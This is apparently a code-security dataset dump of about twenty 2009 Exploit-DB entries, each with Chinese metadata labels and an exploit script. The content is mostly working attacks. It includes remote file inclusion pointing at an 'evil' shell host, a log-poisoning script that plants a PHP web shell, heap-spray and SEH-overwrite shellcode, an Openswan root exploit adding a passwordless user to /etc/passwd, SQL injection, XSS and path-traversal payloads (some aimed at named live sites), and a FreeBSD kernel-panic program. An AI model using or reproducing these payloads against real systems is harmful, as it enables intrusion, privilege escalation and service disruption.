QLWD/code_shield huggingface dataset:
标题: PHPGenealogy 2.0 - 'DataDirectory' Remote File Inclusion EDB-ID: 9155 CVE: 2009-3541 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-15 漏洞利用脚本: #####################################################################################
####                           PHPGenealogy v2.0 Rfi                             ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : http://ircrash.com                                                      #
#My Official WebSite : http://r3dw0rm.ir                                            #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr)            #
#####################################################################################
#                                                                                   #
#Download : http://sourceforge.net/project/showfiles.php?group_id=98241             #
#                                                                                   #
#Dork : PHPGÃ©nÃ©alogie fonctionne sur un serveur PHP                                 #
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#http://[site]/[path]/CoupleDB.php?Parametre=0&DataDirectory=http://evil/shell.txt? #
#                                                                                   #
###################################### TNX GOD ######################################

# milw0rm.com [2009-07-15] URL: https://www.exploit-db.com/exploits/9155
标题: Admin News Tools - Remote Contents Change EDB-ID: 9161 CVE: 2009-2558 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-15 漏洞利用脚本: <html>
<!-- Securitylab.ir , info@securitylab.ir -->
<head>
</head>
<body>
<center>
<center>
<p><b><font size="+2">Admin News Tools<i> </i></font><font size="2">Remote
Contents Change Vulnerability</font></b></p>
</center>
<form action="http://site.com/news/system/message.php" method="post">
  <div><br>
  <textarea cols="89" rows="12" name="message">&lt;/textarea&gt;
  <p>
  <input value="Send"
 onclick="this.setAttribute('value','...');"
 type="submit"></p>
  </div>
  <p>Just for Fun
  </p>
  <p></p>
</form>
</center>
</body>
</html>

# milw0rm.com [2009-07-15] URL: https://www.exploit-db.com/exploits/9161
标题: Greenwood Content Manager 0.3.2 - Local File Inclusion EDB-ID: 9156 CVE: 2009-3824 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-15 漏洞利用脚本: #!usr/bin/python
#####################################################################################
####            Greenwood Content Manager Remote Code Execution                  ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : http://ircrash.com                                                      #
#My Official WebSite : http://r3dw0rm.ir                                            #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr)            #
#####################################################################################
#                                                                                   #
#Download : http://garr.dl.sourceforge.net/sourceforge/greenwood/greenwood-release-0.3.2.tar.bz2
#                                                                                   #
#Dork :  :(                                                                           #
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#http://[site]/[path]/include/processor.php?content_path=[evil_code_path]           #
#                                                                                   #
###################################### TNX GOD ######################################
import sys,httplib,urllib
if len(sys.argv) < 3 :
    print "\n\rUsage : " + sys.argv[0] + " [site] [path]\n\r"
    print "Ex : " + sys.argv[0] + " 123.com /greenwood/\n\r"
    print "Powered by : Sina Yazdanmehr( R3d.W0rm )\n\r"
    print "http://IrCrash.com - http://R3dW0rm.ir\n\r"
    exit()
if 'http://' in sys.argv[1] :
    sys.argv[1]=sys.argv[1].replace('http://','')
print "Input evil code.( With out ' and <??> )( Ex. include $_GET[file]; )\n\r"
shell=raw_input('Code : ')
user_agent={'User-Agent':'<?php fwrite($fp=fopen("../var/sh.php","w+"),\'<?php /* Exploited by : R3d.W0rm - http://r3dw0rm.ir */ ' + shell + '?>\');fclose($fp); ?>'}
conn=httplib.HTTPConnection(sys.argv[1],80)
conn.request("POST",'/' + sys.argv[2] + '/','',user_agent)
response=conn.getresponse().read()
urllib.urlopen('http://' + sys.argv[1] + '/' + sys.argv[2] + '/include/processor.php?content_path=../var/access_log')
print "\n\rShell created : http://" +  sys.argv[1] + sys.argv[2] + "/var/sh.php\n\r"

# milw0rm.com [2009-07-15] URL: https://www.exploit-db.com/exploits/9156
标题: Microsoft Office Web Components (OWC) Spreadsheet - ActiveX Buffer Overflow (PoC) EDB-ID: 9163 CVE: 2009-1136 类型: DOS 平台: WINDOWS 发布日期: 2009-07-16 漏洞利用脚本: <!-- http://en.securitylab.ru/poc/extra/382458.php -->
<html>
<body>
<script language="JavaScript">
var shellcode = unescape("evil code");
var array = new Array();
var ls = 0x81000-(shellcode.length*2);
var bigblock = unescape("%u0b0c%u0b0C");
while(bigblock.length<ls/2)
{bigblock+=bigblock;}
var lh = bigblock.substring(0,ls/2);
delete bigblock;
for(i=0;i<0x99*2;i++) {
array[i] = lh + lh + shellcode;
}
CollectGarbage();
var obj = new ActiveXObject("OWC10.Spreadsheet");
e=new Array();
e.push(1);
e.push(2);
e.push(0);
e.push(window);
for(i=0;i<e.length;i++){
for(j=0;j<10;j++){
try{
obj.Evaluate(e[i]);
}
catch(e)
{}
}
}
window.status=e[3] +'';
for(j=0;j<10;j++){
try{
obj.msDataSourceObject(e[3]);
}
catch(e)
{}
}
</script>
</body>
</html> 

# milw0rm.com [2009-07-16] URL: https://www.exploit-db.com/exploits/9163
标题: Mozilla Firefox 3.5 - Unicode Remote Buffer Overflow (PoC) EDB-ID: 9158 CVE: 2009-2479 类型: DOS 平台: WINDOWS 发布日期: 2009-07-15 漏洞利用脚本: ------------------------------------------->
Firefox 3.5 unicode stack overflow

Andrew Haynes , Simon Berry-Byrne


------------------------------------------->


<html>
<head>
<script language="JavaScript" type="Text/Javascript">
 var str = unescape("%u4141%u4141");
 var str2 = unescape("%u0000%u0000");
 var finalstr2 = mul8(str2, 49000000);
 var finalstr = mul8(str,   21000000);


document.write(finalstr2); 
document.write(finalstr); 

function mul8 (str, num) {
 var i = Math.ceil(Math.log(num) / Math.LN2),
  res = str;
 do {
  res += res;
 } while (0 < --i);
 return res.slice(0, str.length * num);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>

# milw0rm.com [2009-07-15] URL: https://www.exploit-db.com/exploits/9158
标题: WordPress Plugin My Category Order 2.8 - SQL Injection EDB-ID: 9150 CVE: 2009-4748 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-15 漏洞利用脚本: ###############################
# Source: WordPress Plugin: My Category Order <= 2.8 (mycategoryorder.php) / SQL Injection Vulnerability
# Download: http://wordpress.org/extend/plugins/my-category-order/
# No Dork
# Author: ManhLuat93 [at] hcegroup[dot]net
###############################

Errors appears only when you have admin control

Open mycategoryorder.php (Line 47-48):
if (isset($_GET['parentID']))
$parentID = $_GET['parentID'];

Fix:
if (isset($_GET['parentID']))
$parentID = intval($_GET['parentID']);


[+] Exploit [+]


http://localh0st/wp-admin/post-new.php?page=mycategoryorder&mode=act_OrderCategories&parentID=0'&idString=3,5,4,1

MySQL Query Error:

WordPress database error:

 [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY term_order ASC' at line 1]
SELECT * FROM wp_terms t inner join wp_term_taxonomy tt on t.term_id = tt.term_id WHERE taxonomy = 'category' and parent = 0' ORDER BY term_order ASC



[+] http://localh0st/wp-admin/post-new.php?page=mycategoryorder&mode=act_OrderCategories&parentID=0 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10,11--&idString=3,5,4,1

[+] What do you see ?

# milw0rm.com [2009-07-15] URL: https://www.exploit-db.com/exploits/9150
标题: DJ Calendar - 'DJcalendar.cgi TEMPLATE' File Disclosure EDB-ID: 9140 CVE: 2009-2925 类型: WEBAPPS 平台: CGI 发布日期: 2009-07-14 漏洞利用脚本: Discovered by cibbao

PoC:

/cgi-bin/DJcalendar.cgi?TEMPLATE=/../../../../../../../etc/passwd

# milw0rm.com [2009-07-14] URL: https://www.exploit-db.com/exploits/9140
标题: Admin News Tools 2.5 - 'fichier' Remote File Disclosure EDB-ID: 9153 CVE: 2009-2557 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-15 漏洞利用脚本: ######################### Securitylab.ir ########################
# Application Info:
# Name: Admin News Tools
# Version: 2.5
# Website: http://www.adminnewstools.fr.nf
# Download: http://www.adminnewstools.fr.nf/zip/ANT-2.5.zip
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Remote File Download Vulnerability
# Risk: Medium
#===========================================================
# Download.php
# header('Content-Disposition: attachment; filename=' . basename ($_GET['fichier']));
# readfile($_GET['fichier']);
# }
#
# http://www.site.com/news/system/download.php?fichier=./../up.php
#===========================================================
#################################################################
# Securitylab Security Research Team
###################################################################

# milw0rm.com [2009-07-15] URL: https://www.exploit-db.com/exploits/9153
标题: MixVibes Pro 7.043 - '.vib' Local Stack Overflow (PoC) EDB-ID: 9147 CVE: 2009-3807 类型: DOS 平台: WINDOWS 发布日期: 2009-07-14 漏洞利用脚本: #!/usr/bin/perl
# Found By :: HACK4LOVE
# MixVibes Pro 7.043 (.vib File) Local Stack Overflow PoC
# http://www.softpedia.com/progDownload/MixVibes-Pro-Download-3074.html
########################################################################################
my $crash="\x41" x 5000;
open(myfile,'>>hack4love.vib');
print myfile $crash;
########################################################################################

# milw0rm.com [2009-07-14] URL: https://www.exploit-db.com/exploits/9147
标题: JetAudio 7.5.3 COWON Media Center - '.wav' Crash EDB-ID: 9139 CVE: 2009-3948 类型: DOS 平台: WINDOWS 发布日期: 2009-07-14 漏洞利用脚本: #!/usr/bin/perl -w
#
# JetAudio 7.5.3 COWON Media Center(.WAV file) Memory Comsumption DoS Exploit
#
# Founded and exploited by prodigy
# 
# Vendor: JetAudio
#
# Usage to reproduce the bug: you need a file of recorded music in .wav,and then open it with JetAudio and booom!
#
# Platform: Windows
#
###################################################################

==PoC==

use strict;

use diagnostics;

my $file= "c:\filerecorder.wav" #the file must be recorded with music

my $boom= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 5000;

open($FILE,">>$file");

print $FILE "$boom";

close($FILE);

==EndPoC==


##Greetz: Greetz myself for find the bug.

# milw0rm.com [2009-07-14] URL: https://www.exploit-db.com/exploits/9139
标题: AudioPLUS 2.00.215 - '.m3u' / '.lst' Universal Overwrite (SEH) EDB-ID: 9152 CVE: 2009-2363 2009-2362 类型: LOCAL 平台: WINDOWS 发布日期: 2009-07-15 漏洞利用脚本: #!/usr/bin/perl
# AudioPLUS 2.00.215 (.m3u .lst ) Universal Seh Overwrite Exploit
# first exploiter hack4love http://www.milw0rm.com/exploits/9064
# and this the universal for .lst .m3u extention
# Big Thnx to his0ka my best freind :d
# Stack
print "AudioPLUS 2.00.215 (.m3u .lst ) Universal Seh Overwrite Exploit\n";
my $shellcode=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
my $payload =  "Ma".
                "\x41" x (4099-length($shellcode)).
                "$shellcode".
                "\xE8\xF8\xEF\xFF\xFF".
                "\x41" x 10 .
                "\xEB\xEF\xFF\xFF".
                "\xA4\x29\x40\x00"; #univ ret
print $payload;
# usage perl exploit.pl  >>exploit.m3u

# milw0rm.com [2009-07-15] URL: https://www.exploit-db.com/exploits/9152
标题: Openswan 2.4.12/2.6.16 - Insecure Temp File Creation Privilege Escalation EDB-ID: 9135 CVE: 2008-4190 类型: LOCAL 平台: LINUX 发布日期: 2009-07-13 漏洞利用脚本: #!/bin/bash
# uglyswan - OpenSwan local root exploit (CVE-2008-4190)
#
# description:
# The IPSEC livetest tool in Openswan 2.4.12 and earlier, and 2.6.x through 2.6.16,
# allows local users to overwrite arbitrary files and execute arbitrary code via a
# symlink attack on the (1) ipseclive.conn and (2) ipsec.olts.remote.log temporary files.
# NOTE: in many distributions and the upstream version, this tool has been disabled.
#
# vulnerable code:
# wget -o /dev/null  -O /tmp/ipseclive.conn "http://192.168.0.1/olts/?leftid=$leftid&$leftrsasigkey&version=$version"
# sh < /tmp/ipseclive.conn
#
# the exploit:
# cat waits for the input from wget to the fifo and after it received it, you
# immediately echo your command into the fifo which was empty again and viola, it
# gets executed, because the sh binary needs a few milliseconds to get loaded,
# it's a typical race condition.
# 
# problem:
# you need to trick root to execute "ipsec livetest", and this script needs to run in background...
#
# I don't want no fame for this as it is ripped from Gentoo bug 238574, thanks
#

mkfifo /tmp/ipseclive.conn
cat /tmp/ipseclive.conn
echo 'echo t00r::0:0::/tmp:/bin/sh>>/etc/passwd' > /tmp/ipseclive.conn
rm /tmp/ipseclive.conn
su -l t00r

# milw0rm.com [2009-07-13] URL: https://www.exploit-db.com/exploits/9135
标题: Ebay Clone 2009 - Multiple SQL Injections EDB-ID: 9125 CVE: 2009-3712 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-11 漏洞利用脚本: ----------------------------------------------------------------------------------------------------

Name : Ebay Clone 2009 Multiple SQL Injection Vulnerabilities
Site : http://www.ebayclonescript.com/
Demo : http://ebayclonescript.com/ebayclone2009/

----------------------------------------------------------------------------------------------------


Found By : MizoZ [EvilWay Team]
Made in : Morocco
Contact : mizoz[at]9[dot]cn
Greetz : Moudi , Zuka , All friends


----------------------------------------------------------------------------------------------------

1st , SQL Injection (feedback.php GET(user_id)) :
http://ebayclonescript.com//ebayclone2009/feedback.php?user_id=368+union+select+1,2,3,version(),5,6,7,8--#footer

2nd , SQL Injection (view_full_size.php GET(item_id)) :
http://ebayclonescript.com/ebayclone2009/view_full_size.php?i=1&item_id=-2904+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58--

3th , SQL Injection (classifide_ad.php GET(item_id)) :
http://ebayclonescript.com/ebayclone2009/classifide_ad.php?item_id=-2872+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58--

4th , Blind SQL Injection (crosspromoteitems.php GET(item_id)) :
http://ebayclonescript.com/ebayclone2009/crosspromoteitems.php?item_id=2876+and+1=1--
!=
http://ebayclonescript.com/ebayclone2009/crosspromoteitems.php?item_id=2876+and+1=0--

----------------------------------------------------------------------------------------------------

# milw0rm.com [2009-07-11] URL: https://www.exploit-db.com/exploits/9125
标题: ScITE Editor 1.72 - Local Crash EDB-ID: 9133 CVE: 2009-3857 类型: DOS 平台: WINDOWS 发布日期: 2009-07-13 漏洞利用脚本: #!/usr/bin/perl
#
#######################################################################
#
#                    ScITE Editor 1.72 crash vulnerability Exploit
#            
########################################################################
#
#            Bug Founded by prodigy
#
########################################################################

# ###                                 PoC                           ### #

############################################################################################
my $owned="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 5000;
open(myfile,'>>crash.rb');
print myfile $owned;
close(myfile);
############################################################################################

[!]Usage: when you created the file is open with SciTE, and move the scroll bars

############################################################################################

#Greetz: Greetz myself for find the bug, and all the people of undersecurity.net

##########################################################################################

# milw0rm.com [2009-07-13] URL: https://www.exploit-db.com/exploits/9133
标题: censura 1.16.04 - Blind SQL Injection / Cross-Site Scripting EDB-ID: 9129 CVE: 2009-2594 2009-2593 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-12 漏洞利用脚本: ================================================================================================

 Title    : (Blind SQL/XSS) Multiple Remote Vulnerabilities
 Software : Censura v1.16.04
 Vendor   : http://www.censura.info/
 
 Date     : 12 July 2009 (Indonesia)
 Author   : Vrs-hCk
 Contact  : d00r@telkom.net
 Blog     : http://c0li.blogspot.com/

 ================================================================================================

 [-] Exploit

     http://[site]/[path]/censura.php?cmd=details&itemid=[bSQL]
     http://[site]/[path]/censura.php?cmd=details&itemid=[XSS]

 [-] Demo

     http://www.yoozreviews.com/censura.php?cmd=details&itemid=61 and substring(@@version,1,1)=4
     http://www.yoozreviews.com/censura.php?cmd=details&itemid=<script>alert(123)</script>

 ================================================================================================

 Greetz   :

     Paman, NoGe, OoN_Boy, Angela Chang, pizzyroot, zxvf, ajegille, em|nem, loqsa, Fluzy,
     bl4Ck_3n91n3, H312Y, S3T4N, Janroe, and special muaacchh buat Dia yg Ku Cintai (*_^)
     c0li.m0de.0n and Behave oR BeGone !!!

 ================================================================================================

# milw0rm.com [2009-07-12] URL: https://www.exploit-db.com/exploits/9129
标题: FreeBSD 6/8 - ata Device Local Denial of Service EDB-ID: 9134 CVE: 2009-2649 类型: DOS 平台: FREEBSD 发布日期: 2009-07-13 漏洞利用脚本: /* atapanic.c
 *
 * by Shaun Colley, 13 July 2009
 *
 * this panics the freebsd kernel by passing a large value to malloc(9) in one of
 * fbsd's ata ioctl's.  tested on freebsd 6.0 and 8.0.  you need read access to the
 * ata device in /dev to be able to open() the device.  chain with some race condition
 * bug?
 *
 * - shaun
 *
 */


#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>

struct ata_ioc_requestz {
    union {
 struct {
     u_int8_t            command;
     u_int8_t            feature;
     u_int64_t           lba;
     u_int16_t           count;
 } ata;
 struct {
     char                ccb[16];
 } atapi;
    } u;

    caddr_t             data;
    int                 count;
    int                 flags;

    int                 timeout;
    int                 error;
};


#define IOCATAREQUEST           _IOWR('a', 100, struct ata_ioc_requestz)

int main() {

struct ata_ioc_requestz evil;
int fd;

evil.count = 0xffffffff;
fd = open("/dev/acd0", O_RDONLY);  /* /dev/acd0 is one of my ata devices */

ioctl(fd, IOCATAREQUEST, &evil);

/* should never reach here if kernel panics */
return 0;    
}

// milw0rm.com [2009-07-13] URL: https://www.exploit-db.com/exploits/9134
标题: LionWiki - 'index.php' Local File Inclusion EDB-ID: 9119 CVE: 2009-3534 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-10 漏洞利用脚本: script home site :0 http://lionwiki.0o.cz/

script name := Powered by LionWiki

exploit :-
index.php?page= ../../../../../../../../etc/passwd%00.jpg
index.php?page= ../../../../../../../../etc/passwd%00.htm
index.php?page= ../../../../../../../../etc/passwd%00.html

demo site :-
http://wiki.tlapicka.net/index.php

------------------------------------------
found by MoDaMeR
Islamic ghosts Team

Gr33tz:- all muslum hackerz ,all my freind 

# milw0rm.com [2009-07-10] URL: https://www.exploit-db.com/exploits/9119
标题: Opial 1.0 - Arbitrary File Upload / Cross-Site Scripting / SQL Injection EDB-ID: 9122 CVE: 2009-3753 2009-3752 2009-3751 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-11 漏洞利用脚本: ::::::::::::::::::::R3AL.RU::::::::::::::::::::

Opial 1.0 Arbitrary File Upload & XSS & SQL Injection (genres_parent)

Author: LMaster

Greetz: r3al.ru

Official Site (with demo):

http://www.opial.com

-->Arbitrary File Upload<--

1. Go to http://www.site.com/register.php
2. Disable JavaScript
3. Upload shell as "User Image"
4. Register
5. Shell location: http://www.site.com/userimages/SHELL.PHP

-->SQL Injection<--

http://www.site.com/home.php?genres_parent=-1%20union/**/select/**/1,concat(user(),%27%20%27,version()),3,4,5,6--

-->XSS<--

http://www.site.com/home.php?genres_parent="><script>alert(document.cookie);</script>

Demo:

http://www.opial.com/demo/register.php

http://www.opial.com/demo/home.php?genres_parent=-1%20union/**/select/**/1,concat(user(),%27%20%27,version()),3,4,5,6--

http://www.opial.com/demo/home.php?genres_parent=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E

LMaster.

# milw0rm.com [2009-07-11] URL: https://www.exploit-db.com/exploits/9122